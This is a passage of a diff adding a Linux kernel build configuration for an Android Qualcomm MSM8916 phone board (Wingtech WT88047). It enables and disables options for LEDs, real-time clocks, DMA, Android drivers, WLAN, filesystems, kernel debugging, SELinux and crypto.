+# CONFIG_MMC_DW is not set +# CONFIG_MMC_VUB300 is not set +# CONFIG_MMC_USHC is not set +# CONFIG_MEMSTICK is not set +CONFIG_NEW_LEDS=y +CONFIG_LEDS_CLASS=y + +# +# LED drivers +# +# CONFIG_LEDS_LM3530 is not set +# CONFIG_LEDS_LM3642 is not set +# CONFIG_LEDS_PCA9532 is not set +CONFIG_LEDS_GPIO=y +# CONFIG_LEDS_LP3944 is not set +# CONFIG_LEDS_LP5521 is not set +# CONFIG_LEDS_LP5523 is not set +# CONFIG_LEDS_LP5562 is not set +# CONFIG_LEDS_PCA955X is not set +# CONFIG_LEDS_PCA9633 is not set +# CONFIG_LEDS_QPNP is not set +# CONFIG_LEDS_QPNP_FLASH is not set +# CONFIG_LEDS_QPNP_WLED is not set +CONFIG_LEDS_MSM_GPIO_FLASH=y +# CONFIG_LEDS_MSM_GPIO_FLASH_CKT is not set +# CONFIG_LEDS_DAC124S085 is not set +# CONFIG_LEDS_PWM is not set +# CONFIG_LEDS_REGULATOR is not set +CONFIG_LEDS_AW2013=y +# CONFIG_SET_AW2013_VCC_AND_NOT_PULLDWN is not set +# CONFIG_LEDS_BD2802 is not set +# CONFIG_LEDS_LT3593 is not set +# CONFIG_LEDS_RENESAS_TPU is not set +# CONFIG_LEDS_TCA6507 is not set +# CONFIG_LEDS_LM355x is not set +# CONFIG_LEDS_OT200 is not set +# CONFIG_LEDS_BLINKM is not set + +# +# LED Triggers +# +CONFIG_LEDS_TRIGGERS=y +# CONFIG_LEDS_TRIGGER_TIMER is not set +# CONFIG_LEDS_TRIGGER_ONESHOT is not set +# CONFIG_LEDS_TRIGGER_HEARTBEAT is not set +# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set +# CONFIG_LEDS_TRIGGER_CPU is not set +# CONFIG_LEDS_TRIGGER_GPIO is not set +# CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set + +# +# iptables trigger is under Netfilter config (LED target) +# +# CONFIG_LEDS_TRIGGER_TRANSIENT is not set +# CONFIG_LEDS_TRIGGER_CAMERA is not set +CONFIG_SWITCH=y +# CONFIG_SWITCH_GPIO is not set +# CONFIG_ACCESSIBILITY is not set +# CONFIG_EDAC is not set +CONFIG_RTC_LIB=y +CONFIG_RTC_CLASS=y +CONFIG_RTC_HCTOSYS=y +CONFIG_RTC_SYSTOHC=y +CONFIG_RTC_HCTOSYS_DEVICE="rtc0" +# CONFIG_RTC_DEBUG is not set + +# +# RTC interfaces +# +CONFIG_RTC_INTF_SYSFS=y +CONFIG_RTC_INTF_PROC=y +CONFIG_RTC_INTF_DEV=y +# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set +# CONFIG_RTC_DRV_TEST is not set + +# +# I2C RTC drivers +# +# CONFIG_RTC_DRV_DS1307 is not set +# CONFIG_RTC_DRV_DS1374 is not set +# CONFIG_RTC_DRV_DS1672 is not set +# CONFIG_RTC_DRV_DS3232 is not set +# CONFIG_RTC_DRV_MAX6900 is not set +# CONFIG_RTC_DRV_RS5C372 is not set +# CONFIG_RTC_DRV_ISL1208 is not set +# CONFIG_RTC_DRV_ISL12022 is not set +# CONFIG_RTC_DRV_X1205 is not set +# CONFIG_RTC_DRV_PCF8523 is not set +# CONFIG_RTC_DRV_PCF8563 is not set +# CONFIG_RTC_DRV_PCF8583 is not set +# CONFIG_RTC_DRV_M41T80 is not set +# CONFIG_RTC_DRV_BQ32K is not set +# CONFIG_RTC_DRV_S35390A is not set +# CONFIG_RTC_DRV_FM3130 is not set +# CONFIG_RTC_DRV_RX8581 is not set +# CONFIG_RTC_DRV_RX8025 is not set +# CONFIG_RTC_DRV_EM3027 is not set +# CONFIG_RTC_DRV_RV3029C2 is not set + +# +# SPI RTC drivers +# +# CONFIG_RTC_DRV_M41T93 is not set +# CONFIG_RTC_DRV_M41T94 is not set +# CONFIG_RTC_DRV_DS1305 is not set +# CONFIG_RTC_DRV_DS1390 is not set +# CONFIG_RTC_DRV_MAX6902 is not set +# CONFIG_RTC_DRV_R9701 is not set +# CONFIG_RTC_DRV_RS5C348 is not set +# CONFIG_RTC_DRV_DS3234 is not set +# CONFIG_RTC_DRV_PCF2123 is not set +# CONFIG_RTC_DRV_RX4581 is not set + +# +# Platform RTC drivers +# +# CONFIG_RTC_DRV_CMOS is not set +# CONFIG_RTC_DRV_DS1286 is not set +# CONFIG_RTC_DRV_DS1511 is not set +# CONFIG_RTC_DRV_DS1553 is not set +# CONFIG_RTC_DRV_DS1742 is not set +# CONFIG_RTC_DRV_STK17TA8 is not set +# CONFIG_RTC_DRV_M48T86 is not set +# CONFIG_RTC_DRV_M48T35 is not set +# CONFIG_RTC_DRV_M48T59 is not set +# CONFIG_RTC_DRV_MSM6242 is not set +# CONFIG_RTC_DRV_BQ4802 is not set +# CONFIG_RTC_DRV_RP5C01 is not set +# CONFIG_RTC_DRV_V3020 is not set +# CONFIG_RTC_DRV_DS2404 is not set + +# +# on-CPU RTC drivers +# +# CONFIG_RTC_DRV_SNVS is not set +CONFIG_RTC_DRV_QPNP=y + +# +# HID Sensor RTC drivers +# +# CONFIG_RTC_DRV_HID_SENSOR_TIME is not set +# CONFIG_ESOC is not set +CONFIG_DMADEVICES=y +# CONFIG_DMADEVICES_DEBUG is not set + +# +# DMA Devices +# +CONFIG_QCOM_SPS_DMA=y +# CONFIG_TIMB_DMA is not set +CONFIG_DMA_ENGINE=y +CONFIG_DMA_OF=y + +# +# DMA Clients +# +# CONFIG_ASYNC_TX_DMA is not set +# CONFIG_DMATEST is not set +# CONFIG_AUXDISPLAY is not set +CONFIG_UIO=y +# CONFIG_UIO_PDRV is not set +# CONFIG_UIO_PDRV_GENIRQ is not set +# CONFIG_UIO_DMEM_GENIRQ is not set +CONFIG_UIO_MSM_SHAREDMEM=y +# CONFIG_VFIO is not set +# CONFIG_VIRT_DRIVERS is not set + +# +# Virtio drivers +# +# CONFIG_VIRTIO_MMIO is not set + +# +# Microsoft Hyper-V guest support +# +CONFIG_STAGING=y +# CONFIG_USBIP_CORE is not set +# CONFIG_PRISM2_USB is not set +# CONFIG_ECHO is not set +# CONFIG_ASUS_OLED is not set +# CONFIG_R8712U is not set +# CONFIG_RTS5139 is not set +# CONFIG_TRANZPORT is not set +# CONFIG_LINE6_USB is not set +# CONFIG_USB_SERIAL_QUATECH2 is not set +# CONFIG_BCM_WIMAX is not set +# CONFIG_FT1000 is not set + +# +# Speakup console speech +# +# CONFIG_TOUCHSCREEN_CLEARPAD_TM1217 is not set +# CONFIG_STAGING_MEDIA is not set + +# +# Android +# +CONFIG_ANDROID=y +CONFIG_ANDROID_BINDER_IPC=y +CONFIG_ANDROID_BINDER_IPC_32BIT=y +CONFIG_ASHMEM=y +# CONFIG_ANDROID_LOGGER is not set +CONFIG_ANDROID_TIMED_OUTPUT=y +CONFIG_ANDROID_TIMED_GPIO=y +CONFIG_ANDROID_LOW_MEMORY_KILLER=y +CONFIG_ANDROID_LOW_MEMORY_KILLER_AUTODETECT_OOM_ADJ_VALUES=y +CONFIG_ANDROID_INTF_ALARM_DEV=y +CONFIG_SYNC=y +CONFIG_SW_SYNC=y +# CONFIG_SW_SYNC_USER is not set +CONFIG_ONESHOT_SYNC=y +# CONFIG_ONESHOT_SYNC_USER is not set +CONFIG_ION=y +# CONFIG_ION_TEST is not set +CONFIG_ION_MSM=y +CONFIG_ALLOC_BUFFERS_IN_4K_CHUNKS=y +# CONFIG_FIQ_DEBUGGER is not set +# CONFIG_FIQ_WATCHDOG is not set +# CONFIG_USB_WPAN_HCD is not set +# CONFIG_WIMAX_GDM72XX is not set +# CONFIG_CED1401 is not set +# CONFIG_DGRP is not set + +# +# Qualcomm Atheros Prima WLAN module +# +# CONFIG_PRIMA_WLAN is not set +CONFIG_PRONTO_WLAN=y +# CONFIG_PRIMA_WLAN_BTAMP is not set +CONFIG_PRIMA_WLAN_LFR=y +CONFIG_PRIMA_WLAN_OKC=y +CONFIG_PRIMA_WLAN_11AC_HIGH_TP=y +CONFIG_QCOM_TDLS=y +CONFIG_WLAN_FEATURE_11W=y +CONFIG_QCOM_VOWIFI_11R=y +CONFIG_ENABLE_LINUX_REG=y +# CONFIG_WLAN_OFFLOAD_PACKETS is not set +# CONFIG_MACH_CKT is not set +# CONFIG_MACH_CKT_MSM8939 is not set + +# +# CK Telecom board selection +# +# CONFIG_MACH_SPIRIT is not set +# CONFIG_MACH_HUAQIN is not set +# CONFIG_MACH_HUAQIN_MSM8916 is not set + +# +# Huaqin board selection +# +# CONFIG_MACH_JALEBI is not set +# CONFIG_MACH_LONGCHEER is not set +# CONFIG_MACH_LONGCHEER_MSM8916 is not set + +# +# LC board selection +# +# CONFIG_MACH_CRACKLING is not set + +# +# Qualcomm MSM specific device drivers +# +# CONFIG_MSM_SSBI is not set +CONFIG_SPS=y +CONFIG_USB_BAM=y +# CONFIG_SPS_SUPPORT_BAMDMA is not set +CONFIG_SPS_SUPPORT_NDP_BAM=y +CONFIG_QPNP_POWER_ON=y +# CONFIG_QPNP_CLKDIV is not set +CONFIG_QPNP_VIBRATOR=y +CONFIG_QPNP_REVID=y +# CONFIG_QPNP_COINCELL is not set +# CONFIG_QPNP_USB_DETECT is not set +# CONFIG_IPA is not set +# CONFIG_KLM is not set +CONFIG_MSM_AVTIMER=y +# CONFIG_SSM is not set +# CONFIG_MSM_MHI is not set +# CONFIG_QCA1530 is not set +# CONFIG_PFT is not set +# CONFIG_MSM_SPSS is not set +CONFIG_MSM_BUS_SCALING=y +CONFIG_BUS_TOPOLOGY_ADHOC=y +# CONFIG_DEBUG_BUS_VOTER is not set +# CONFIG_I2C_MSM_PROF_DBG is not set +# CONFIG_MSM_UIM_HSL is not set +# CONFIG_QPNP_HAPTIC is not set +# CONFIG_SEEMP_CORE is not set +# CONFIG_MACH_HAIER is not set +# CONFIG_MACH_HAIER_MSM8916 is not set + +# +# Haier board selection +# +# CONFIG_MACH_RENDANG is not set +CONFIG_MACH_WINGTECH=y +CONFIG_MACH_WINGTECH_MSM8916=y + +# +# Wingtech board selection +# +CONFIG_MACH_WT88047=y +# CONFIG_MACH_T86519A1 is not set +# CONFIG_MACH_YULONG is not set +# CONFIG_MACH_YULONG_MSM8939 is not set + +# +# Yulong board selection +# +# CONFIG_MACH_CP8675 is not set + +# +# Yulong features +# +# CONFIG_YL_POWEROFF_ALARM is not set +CONFIG_CLKDEV_LOOKUP=y +CONFIG_HAVE_CLK_PREPARE=y +# CONFIG_MSM_CLK_CONTROLLER_V2 is not set +CONFIG_MSM_MDSS_PLL=y +CONFIG_HWSPINLOCK=y + +# +# Hardware Spinlock drivers +# +CONFIG_REMOTE_SPINLOCK_MSM=y +CONFIG_CLKSRC_OF=y +CONFIG_ARM_ARCH_TIMER=y +CONFIG_ARM_ARCH_TIMER_EVTSTREAM=y +# CONFIG_MAILBOX is not set +CONFIG_IOMMU_SUPPORT=y +CONFIG_OF_IOMMU=y +CONFIG_MSM_IOMMU=y +CONFIG_MSM_IOMMU_V1=y +# CONFIG_IOMMU_PGTABLES_L2 is not set +# CONFIG_IOMMU_LPAE is not set +# CONFIG_MSM_IOMMU_VBIF_CHECK is not set +# CONFIG_IOMMU_NON_SECURE is not set +# CONFIG_IOMMU_FORCE_4K_MAPPINGS is not set +# CONFIG_MMU500_ACTIVE_PREFETCH_BUG_WITH_SECTION_MAPPING is not set + +# +# Remoteproc drivers +# +# CONFIG_STE_MODEM_RPROC is not set + +# +# Rpmsg drivers +# +CONFIG_PM_DEVFREQ=y + +# +# DEVFREQ Governors +# +CONFIG_DEVFREQ_GOV_SIMPLE_ONDEMAND=y +CONFIG_DEVFREQ_GOV_PERFORMANCE=y +CONFIG_DEVFREQ_GOV_POWERSAVE=y +CONFIG_DEVFREQ_GOV_USERSPACE=y +CONFIG_DEVFREQ_GOV_CPUFREQ=y +CONFIG_DEVFREQ_GOV_MSM_ADRENO_TZ=y +CONFIG_MSM_BIMC_BWMON=y +CONFIG_ARMBW_HWMON=y +CONFIG_DEVFREQ_GOV_MSM_GPUBW_MON=y +CONFIG_DEVFREQ_GOV_MSM_BW_HWMON=y +# CONFIG_DEVFREQ_GOV_MSM_CACHE_HWMON is not set +# CONFIG_DEVFREQ_GOV_SPDM_HYP is not set + +# +# DEVFREQ Drivers +# +CONFIG_DEVFREQ_SIMPLE_DEV=y +CONFIG_MSM_DEVFREQ_DEVBW=y +# CONFIG_DEVFREQ_SPDM is not set +# CONFIG_EXTCON is not set +# CONFIG_MEMORY is not set +# CONFIG_IIO is not set +CONFIG_PWM=y +CONFIG_PWM_QPNP=y +CONFIG_IRQCHIP=y +CONFIG_ARM_GIC=y +CONFIG_MSM_SHOW_RESUME_IRQ=y +CONFIG_MSM_IRQ=y +# CONFIG_IPACK_BUS is not set +# CONFIG_MOBICORE_SUPPORT is not set +# CONFIG_RESET_CONTROLLER is not set +# CONFIG_CORESIGHT is not set +# CONFIG_BIF is not set +CONFIG_SENSORS=y +# CONFIG_SENSORS_SSC is not set + +# +# PHY Subsystem +# +# CONFIG_GENERIC_PHY is not set +# CONFIG_PHY_MSM_SATA is not set +CONFIG_MSM_BAM_DMUX=y +CONFIG_MSM_EVENT_TIMER=y +CONFIG_MSM_IPC_ROUTER_SMD_XPRT=y +# CONFIG_MSM_JTAG is not set +# CONFIG_MSM_JTAG_MM is not set +# CONFIG_MSM_JTAGV8 is not set +CONFIG_MSM_QMI_INTERFACE=y +CONFIG_MSM_SMD=y +# CONFIG_MSM_SMD_DEBUG is not set +CONFIG_MSM_MPM_OF=y +CONFIG_MSM_RPM_SMD=y +# CONFIG_MSM_RPM_RBCPR_STATS_V2_LOG is not set +CONFIG_MSM_RPM_LOG=y +CONFIG_MSM_RPM_STATS_LOG=y +CONFIG_MSM_RUN_QUEUE_STATS=y +CONFIG_MSM_SMEM=y +CONFIG_MSM_SMEM_LOGGING=y +CONFIG_MSM_SMP2P=y +CONFIG_MSM_SMP2P_TEST=y +CONFIG_MSM_SPM=y +CONFIG_MSM_L2_SPM=y +# CONFIG_MSM_QDSP6_APRV2 is not set +CONFIG_MSM_QDSP6_APRV3=y +CONFIG_MSM_ADSP_LOADER=y +# CONFIG_MSM_MEMORY_DUMP is not set +CONFIG_MSM_MEMORY_DUMP_V2=y +# CONFIG_MSM_DEBUG_LAR_UNLOCK is not set +# CONFIG_MSM_DDR_HEALTH is not set +CONFIG_MSM_COMMON_LOG=y +CONFIG_MSM_WATCHDOG_V2=y +# CONFIG_MSM_FORCE_WDOG_BITE_ON_PANIC is not set +# CONFIG_MSM_HVC is not set +# CONFIG_MSM_HYP_DEBUG is not set +CONFIG_MSM_SUBSYSTEM_RESTART=y +CONFIG_MSM_SYSMON_COMM=y +CONFIG_MSM_PIL=y +CONFIG_MSM_PIL_SSR_GENERIC=y +CONFIG_MSM_PIL_MSS_QDSP6V5=y +CONFIG_MSM_OCMEM=y +CONFIG_MSM_OCMEM_LOCAL_POWER_CTRL=y +# CONFIG_MSM_OCMEM_DEBUG is not set +# CONFIG_MSM_OCMEM_POWER_DISABLE is not set +CONFIG_MSM_BOOT_STATS=y +CONFIG_MSM_SCM=y +# CONFIG_MAXIMUM_CURRENT_THROTTLING is not set +CONFIG_MSM_CPU_PWR_CTL=y +# CONFIG_MSM_XPU_ERR_FATAL is not set +# CONFIG_MSM_CACHE_DUMP is not set +# CONFIG_MSM_CPUSS_DUMP is not set +# CONFIG_MSM_SHARED_HEAP_ACCESS is not set +# CONFIG_MSM_SYSTEM_HEALTH_MONITOR is not set +# CONFIG_QCOM_EARLY_RANDOM is not set +# CONFIG_MSM_PACMAN is not set +CONFIG_MSM_CORE_CTL_HELPER=y +CONFIG_MSM_PERFORMANCE=y +CONFIG_MSM_PERFORMANCE_HOTPLUG_ON=y +CONFIG_MEM_SHARE_QMI_SERVICE=y + +# +# Firmware Drivers +# +# CONFIG_FIRMWARE_MEMMAP is not set +CONFIG_MSM_TZ_LOG=y + +# +# File systems +# +CONFIG_DCACHE_WORD_ACCESS=y +# CONFIG_EXT2_FS is not set +# CONFIG_EXT3_FS is not set +CONFIG_EXT4_FS=y +CONFIG_EXT4_USE_FOR_EXT23=y +CONFIG_EXT4_FS_POSIX_ACL=y +CONFIG_EXT4_FS_SECURITY=y +# CONFIG_EXT4_DEBUG is not set +CONFIG_JBD2=y +# CONFIG_JBD2_DEBUG is not set +CONFIG_FS_MBCACHE=y +# CONFIG_REISERFS_FS is not set +# CONFIG_JFS_FS is not set +# CONFIG_XFS_FS is not set +# CONFIG_GFS2_FS is not set +# CONFIG_OCFS2_FS is not set +# CONFIG_BTRFS_FS is not set +# CONFIG_NILFS2_FS is not set +CONFIG_FS_POSIX_ACL=y +CONFIG_FILE_LOCKING=y +CONFIG_FSNOTIFY=y +CONFIG_DNOTIFY=y +CONFIG_INOTIFY_USER=y +# CONFIG_FANOTIFY is not set +# CONFIG_QUOTA is not set +# CONFIG_QUOTACTL is not set +# CONFIG_AUTOFS4_FS is not set +CONFIG_FUSE_FS=y +# CONFIG_CUSE is not set +CONFIG_GENERIC_ACL=y + +# +# Caches +# +# CONFIG_FSCACHE is not set + +# +# CD-ROM/DVD Filesystems +# +# CONFIG_ISO9660_FS is not set +# CONFIG_UDF_FS is not set + +# +# DOS/FAT/NT Filesystems +# +CONFIG_FAT_FS=y +CONFIG_MSDOS_FS=y +CONFIG_VFAT_FS=y +CONFIG_FAT_DEFAULT_CODEPAGE=437 +CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" +# CONFIG_NTFS_FS is not set + +# +# Pseudo filesystems +# +CONFIG_PROC_FS=y +CONFIG_PROC_SYSCTL=y +CONFIG_PROC_PAGE_MONITOR=y +CONFIG_SYSFS=y +CONFIG_TMPFS=y +CONFIG_TMPFS_POSIX_ACL=y +CONFIG_TMPFS_XATTR=y +# CONFIG_HUGETLB_PAGE is not set +CONFIG_CONFIGFS_FS=y +CONFIG_MISC_FILESYSTEMS=y +# CONFIG_ADFS_FS is not set +# CONFIG_AFFS_FS is not set +# CONFIG_ECRYPT_FS is not set +# CONFIG_HFS_FS is not set +# CONFIG_HFSPLUS_FS is not set +# CONFIG_BEFS_FS is not set +# CONFIG_BFS_FS is not set +# CONFIG_EFS_FS is not set +# CONFIG_LOGFS is not set +# CONFIG_CRAMFS is not set +# CONFIG_SQUASHFS is not set +# CONFIG_VXFS_FS is not set +# CONFIG_MINIX_FS is not set +# CONFIG_OMFS_FS is not set +# CONFIG_HPFS_FS is not set +# CONFIG_QNX4FS_FS is not set +# CONFIG_QNX6FS_FS is not set +# CONFIG_ROMFS_FS is not set +CONFIG_PSTORE=y +CONFIG_PSTORE_CONSOLE=y +# CONFIG_PSTORE_PMSG is not set +CONFIG_PSTORE_RAM=y +# CONFIG_SYSV_FS is not set +# CONFIG_UFS_FS is not set +CONFIG_F2FS_FS=y +CONFIG_F2FS_STAT_FS=y +CONFIG_F2FS_FS_XATTR=y +CONFIG_F2FS_FS_POSIX_ACL=y +CONFIG_F2FS_FS_SECURITY=y +# CONFIG_F2FS_CHECK_FS is not set +# CONFIG_F2FS_FS_ENCRYPTION is not set +CONFIG_NETWORK_FILESYSTEMS=y +CONFIG_NFS_FS=y +CONFIG_NFS_V2=y +CONFIG_NFS_V3=y +# CONFIG_NFS_V3_ACL is not set +# CONFIG_NFS_V4 is not set +# CONFIG_NFS_SWAP is not set +# CONFIG_ROOT_NFS is not set +# CONFIG_NFSD is not set +CONFIG_LOCKD=y +CONFIG_LOCKD_V4=y +CONFIG_NFS_COMMON=y +CONFIG_SUNRPC=y +# CONFIG_SUNRPC_DEBUG is not set +# CONFIG_CEPH_FS is not set +CONFIG_CIFS=y +# CONFIG_CIFS_STATS is not set +# CONFIG_CIFS_WEAK_PW_HASH is not set +# CONFIG_CIFS_UPCALL is not set +# CONFIG_CIFS_XATTR is not set +# CONFIG_CIFS_DEBUG is not set +# CONFIG_CIFS_DFS_UPCALL is not set +# CONFIG_CIFS_SMB2 is not set +# CONFIG_NCP_FS is not set +# CONFIG_CODA_FS is not set +# CONFIG_AFS_FS is not set +CONFIG_NLS=y +CONFIG_NLS_DEFAULT="iso8859-1" +CONFIG_NLS_CODEPAGE_437=y +# CONFIG_NLS_CODEPAGE_737 is not set +# CONFIG_NLS_CODEPAGE_775 is not set +# CONFIG_NLS_CODEPAGE_850 is not set +# CONFIG_NLS_CODEPAGE_852 is not set +# CONFIG_NLS_CODEPAGE_855 is not set +# CONFIG_NLS_CODEPAGE_857 is not set +# CONFIG_NLS_CODEPAGE_860 is not set +# CONFIG_NLS_CODEPAGE_861 is not set +# CONFIG_NLS_CODEPAGE_862 is not set +# CONFIG_NLS_CODEPAGE_863 is not set +# CONFIG_NLS_CODEPAGE_864 is not set +# CONFIG_NLS_CODEPAGE_865 is not set +# CONFIG_NLS_CODEPAGE_866 is not set +# CONFIG_NLS_CODEPAGE_869 is not set +# CONFIG_NLS_CODEPAGE_936 is not set +# CONFIG_NLS_CODEPAGE_950 is not set +# CONFIG_NLS_CODEPAGE_932 is not set +# CONFIG_NLS_CODEPAGE_949 is not set +# CONFIG_NLS_CODEPAGE_874 is not set +# CONFIG_NLS_ISO8859_8 is not set +# CONFIG_NLS_CODEPAGE_1250 is not set +# CONFIG_NLS_CODEPAGE_1251 is not set +CONFIG_NLS_ASCII=y +CONFIG_NLS_ISO8859_1=y +# CONFIG_NLS_ISO8859_2 is not set +# CONFIG_NLS_ISO8859_3 is not set +# CONFIG_NLS_ISO8859_4 is not set +# CONFIG_NLS_ISO8859_5 is not set +# CONFIG_NLS_ISO8859_6 is not set +# CONFIG_NLS_ISO8859_7 is not set +# CONFIG_NLS_ISO8859_9 is not set +# CONFIG_NLS_ISO8859_13 is not set +# CONFIG_NLS_ISO8859_14 is not set +# CONFIG_NLS_ISO8859_15 is not set +# CONFIG_NLS_KOI8_R is not set +# CONFIG_NLS_KOI8_U is not set +# CONFIG_NLS_MAC_ROMAN is not set +# CONFIG_NLS_MAC_CELTIC is not set +# CONFIG_NLS_MAC_CENTEURO is not set +# CONFIG_NLS_MAC_CROATIAN is not set +# CONFIG_NLS_MAC_CYRILLIC is not set +# CONFIG_NLS_MAC_GAELIC is not set +# CONFIG_NLS_MAC_GREEK is not set +# CONFIG_NLS_MAC_ICELAND is not set +# CONFIG_NLS_MAC_INUIT is not set +# CONFIG_NLS_MAC_ROMANIAN is not set +# CONFIG_NLS_MAC_TURKISH is not set +# CONFIG_NLS_UTF8 is not set +# CONFIG_DLM is not set + +# +# Kernel hacking +# +CONFIG_PRINTK_TIME=y +CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4 +CONFIG_ENABLE_WARN_DEPRECATED=y +CONFIG_ENABLE_MUST_CHECK=y +CONFIG_FRAME_WARN=1024 +CONFIG_MAGIC_SYSRQ=y +# CONFIG_STRIP_ASM_SYMS is not set +# CONFIG_READABLE_ASM is not set +# CONFIG_UNUSED_SYMBOLS is not set +# CONFIG_PAGE_OWNER is not set +CONFIG_DEBUG_FS=y +# CONFIG_HEADERS_CHECK is not set +# CONFIG_DEBUG_SECTION_MISMATCH is not set +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_SHIRQ is not set +# CONFIG_LOCKUP_DETECTOR is not set +# CONFIG_PANIC_ON_OOPS is not set +CONFIG_PANIC_ON_OOPS_VALUE=0 +# CONFIG_PANIC_ON_RECURSIVE_FAULT is not set +# CONFIG_DETECT_HUNG_TASK is not set +# CONFIG_SCHED_DEBUG is not set +# CONFIG_PANIC_ON_RT_THROTTLING is not set +CONFIG_SCHEDSTATS=y +CONFIG_TIMER_STATS=y +# CONFIG_DEBUG_OBJECTS is not set +# CONFIG_SLUB_STATS is not set +CONFIG_HAVE_DEBUG_KMEMLEAK=y +# CONFIG_DEBUG_KMEMLEAK is not set +# CONFIG_DEBUG_PREEMPT is not set +# CONFIG_DEBUG_RT_MUTEXES is not set +# CONFIG_RT_MUTEX_TESTER is not set +# CONFIG_DEBUG_SPINLOCK is not set +# CONFIG_DEBUG_MUTEXES is not set +# CONFIG_DEBUG_LOCK_ALLOC is not set +# CONFIG_PROVE_LOCKING is not set +# CONFIG_LOCK_STAT is not set +# CONFIG_DEBUG_ATOMIC_SLEEP is not set +# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set +CONFIG_STACKTRACE=y +# CONFIG_DEBUG_STACK_USAGE is not set +# CONFIG_DEBUG_KOBJECT is not set +# CONFIG_DEBUG_HIGHMEM is not set +# CONFIG_DEBUG_BUGVERBOSE is not set +# CONFIG_DEBUG_INFO is not set +# CONFIG_DEBUG_VM is not set +# CONFIG_DEBUG_WRITECOUNT is not set +# CONFIG_DEBUG_MEMORY_INIT is not set +# CONFIG_DEBUG_LIST is not set +# CONFIG_TEST_LIST_SORT is not set +# CONFIG_DEBUG_SG is not set +# CONFIG_DEBUG_NOTIFIERS is not set +# CONFIG_DEBUG_CREDENTIALS is not set +# CONFIG_BOOT_PRINTK_DELAY is not set + +# +# RCU Debugging +# +# CONFIG_PROVE_RCU_DELAY is not set +# CONFIG_SPARSE_RCU_POINTER is not set +# CONFIG_RCU_TORTURE_TEST is not set +CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_CPU_STALL_VERBOSE=y +# CONFIG_RCU_CPU_STALL_INFO is not set +# CONFIG_RCU_TRACE is not set +# CONFIG_BACKTRACE_SELF_TEST is not set +# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set +# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set +# CONFIG_DEBUG_PER_CPU_MAPS is not set +# CONFIG_LKDTM is not set +# CONFIG_NOTIFIER_ERROR_INJECTION is not set +# CONFIG_FAULT_INJECTION is not set +# CONFIG_DEBUG_PAGEALLOC is not set +CONFIG_NOP_TRACER=y +CONFIG_HAVE_FUNCTION_TRACER=y +CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y +CONFIG_HAVE_DYNAMIC_FTRACE=y +CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y +CONFIG_HAVE_SYSCALL_TRACEPOINTS=y +CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_TRACE_CLOCK=y +CONFIG_RING_BUFFER=y +CONFIG_EVENT_TRACING=y +CONFIG_CONTEXT_SWITCH_TRACER=y +# CONFIG_MSM_RTB is not set +CONFIG_IPC_LOGGING=y +CONFIG_TRACING=y +CONFIG_GENERIC_TRACER=y +CONFIG_TRACING_SUPPORT=y +# CONFIG_FTRACE is not set +# CONFIG_DYNAMIC_DEBUG is not set +# CONFIG_OOPS_LOG_BUFFER is not set +# CONFIG_LOG_BUF_MAGIC is not set +# CONFIG_DMA_API_DEBUG is not set +# CONFIG_ATOMIC64_SELFTEST is not set +# CONFIG_PANIC_ON_DATA_CORRUPTION is not set +# CONFIG_SAMPLES is not set +CONFIG_HAVE_ARCH_KGDB=y +# CONFIG_KGDB is not set +# CONFIG_TEST_STRING_HELPERS is not set +# CONFIG_TEST_KSTRTOX is not set +# CONFIG_ARM_PTDUMP is not set +# CONFIG_STRICT_DEVMEM is not set +CONFIG_ARM_UNWIND=y +# CONFIG_DEBUG_USER is not set +# CONFIG_FORCE_PAGES is not set +# CONFIG_FREE_PAGES_RDONLY is not set +# CONFIG_DEBUG_LL is not set +CONFIG_DEBUG_LL_INCLUDE="mach/debug-macro.S" +CONFIG_UNCOMPRESS_INCLUDE="mach/uncompress.h" +# CONFIG_PID_IN_CONTEXTIDR is not set + +# +# Security options +# +CONFIG_KEYS=y +# CONFIG_ENCRYPTED_KEYS is not set +# CONFIG_KEYS_DEBUG_PROC_KEYS is not set +# CONFIG_SECURITY_DMESG_RESTRICT is not set +CONFIG_SECURITY_PERF_EVENTS_RESTRICT=y +CONFIG_SECURITY=y +# CONFIG_SECURITYFS is not set +CONFIG_SECURITY_NETWORK=y +# CONFIG_SECURITY_NETWORK_XFRM is not set +# CONFIG_SECURITY_PATH is not set +CONFIG_LSM_MMAP_MIN_ADDR=4096 +CONFIG_SECURITY_SELINUX=y +# CONFIG_SECURITY_SELINUX_BOOTPARAM is not set +# CONFIG_SECURITY_SELINUX_DISABLE is not set +CONFIG_SECURITY_SELINUX_DEVELOP=y +CONFIG_SECURITY_SELINUX_AVC_STATS=y +CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1 +# CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set +# CONFIG_SECURITY_SMACK is not set +# CONFIG_SECURITY_TOMOYO is not set +# CONFIG_SECURITY_APPARMOR is not set +# CONFIG_SECURITY_YAMA is not set +# CONFIG_IMA is not set +# CONFIG_EVM is not set +CONFIG_DEFAULT_SECURITY_SELINUX=y +# CONFIG_DEFAULT_SECURITY_DAC is not set +CONFIG_DEFAULT_SECURITY="selinux" +CONFIG_CRYPTO=y + +# +# Crypto core or helper +# +CONFIG_CRYPTO_ALGAPI=y +CONFIG_CRYPTO_ALGAPI2=y +CONFIG_CRYPTO_AEAD=y +CONFIG_CRYPTO_AEAD2=y +CONFIG_CRYPTO_BLKCIPHER=y +CONFIG_CRYPTO_BLKCIPHER2=y +CONFIG_CRYPTO_HASH=y +CONFIG_CRYPTO_HASH2=y +CONFIG_CRYPTO_RNG=y +CONFIG_CRYPTO_RNG2=y +CONFIG_CRYPTO_PCOMP2=y +CONFIG_CRYPTO_MANAGER=y +CONFIG_CRYPTO_MANAGER2=y +# CONFIG_CRYPTO_USER is not set +CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y +CONFIG_CRYPTO_GF128MUL=y +CONFIG_CRYPTO_NULL=y +# CONFIG_CRYPTO_PCRYPT is not set +CONFIG_CRYPTO_WORKQUEUE=y +CONFIG_CRYPTO_CRYPTD=y +CONFIG_CRYPTO_AUTHENC=y 